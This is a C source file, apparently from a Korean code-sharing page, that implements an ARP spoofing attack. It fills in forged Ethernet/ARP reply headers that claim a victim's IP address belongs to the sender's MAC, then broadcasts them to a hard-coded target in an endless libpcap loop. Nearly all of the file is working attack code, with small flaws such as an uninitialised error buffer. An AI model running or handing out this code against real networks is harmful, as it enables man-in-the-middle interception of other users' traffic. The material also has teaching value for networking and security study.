1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | #include <stdio.h> #include <string.h> #include <pcap.h> #include <net/ethernet.h> #include <arpa/inet.h> #include <libnet.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/if.h> #include <netdb.h> u_char my_mac[6] = {}; u_char my_ip[4] = {}; u_char target_mac[6] = {0x00, 0x0c, 0x29, 0x8d, 0x3b, 0x9a}; u_char target_ip[4] = {0xc0, 0xa8, 0x89, 0x84}; u_char vic_ip[4] = {0xc0, 0xa8, 0x89, 0x02}; struct eth_header { u_char eth_dmac[6]; /* ether destination (MAC) Address (6 Byte) */ u_char eth_smac[6]; /* ether source (MAC) Address (6 Byte)*/ u_short eth_type; /* ether type (2 Byte) */ }; struct arp_header { u_short arp_hwtype; /* Hardware Type (2 byte) */ u_short arp_protype; /* Protocol Type (2 Byte) */ u_char arp_hlen; /* Hardware Length (1 Byte) */ u_char arp_plen; /* Protocol Length (1 Byte) */ u_short arp_opr; /* Operation (2 Byte) */ u_char arp_shwaddr[6]; /* Sender Hardware (MAC) Address (6 Byte) */ u_char arp_sipaddr[4]; /* Sender Protocol(IP) Address (4 Byte) */ u_char arp_thwaddr[6]; /* Target Hardware (MAC) Address (6 Byte) */ u_char arp_tproaddr[4]; /* Target Protocol (IP) Address (4 Byte) */ }; struct eth_arp_reply { eth_header eth; arp_header arph; }; void get_my_info(char *dev) { struct ifreq my_info; int sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP); strcpy(my_info.ifr_name, dev); ioctl(sock, SIOCGIFHWADDR, &my_info); for (int i = 0; i < 6; i++) { my_mac[i]=(unsigned char) my_info.ifr_ifru.ifru_hwaddr.sa_data[i]; } ioctl(sock, SIOCGIFADDR, &my_info); for (int i = 2; i < 6; ++i) { my_ip[i-2] = (unsigned char)my_info.ifr_ifru.ifru_addr.sa_data[i]; } close(sock); } int main() { char *dev; char *errbuf; pcap_t *handle; if(!(dev = pcap_lookupdev(errbuf))) { /* 네떡 인터페이스 */ printf("%s", errbuf); return -1; } get_my_info(dev); /* 내 mac, ip 주소 얻어오기 */ eth_header eth; memcpy(eth.eth_dmac, target_mac, sizeof(target_mac)); memcpy(eth.eth_smac, my_mac, sizeof(my_mac)); eth.eth_type = htons(ETH_P_ARP); arp_header arph; arph.arp_hwtype = htons(ARPHRD_ETHER); arph.arp_protype = htons(ETH_P_IP); arph.arp_hlen = sizeof(eth.eth_dmac); arph.arp_plen = sizeof(arph.arp_sipaddr); arph.arp_opr = htons(ARPOP_REPLY); memcpy(arph.arp_shwaddr, my_mac, sizeof(my_mac)); memcpy(arph.arp_sipaddr, vic_ip, sizeof(vic_ip)); memcpy(arph.arp_thwaddr, target_mac, sizeof(target_mac)); memcpy(arph.arp_tproaddr, target_ip, sizeof(target_ip)); if(!(handle = pcap_open_live(dev, 65535, 1, 0, errbuf))){ printf("%s", errbuf); return -1; } eth_arp_reply reply; reply.eth = eth; reply.arph = arph; while(true) { if (pcap_sendpacket(handle,(const u_char*)&reply ,(sizeof(reply))) != 0) { printf("pcap_sendpacket error\n"); } else { printf("arp packet send\n"); } } } #pragma pack(pop) | cs |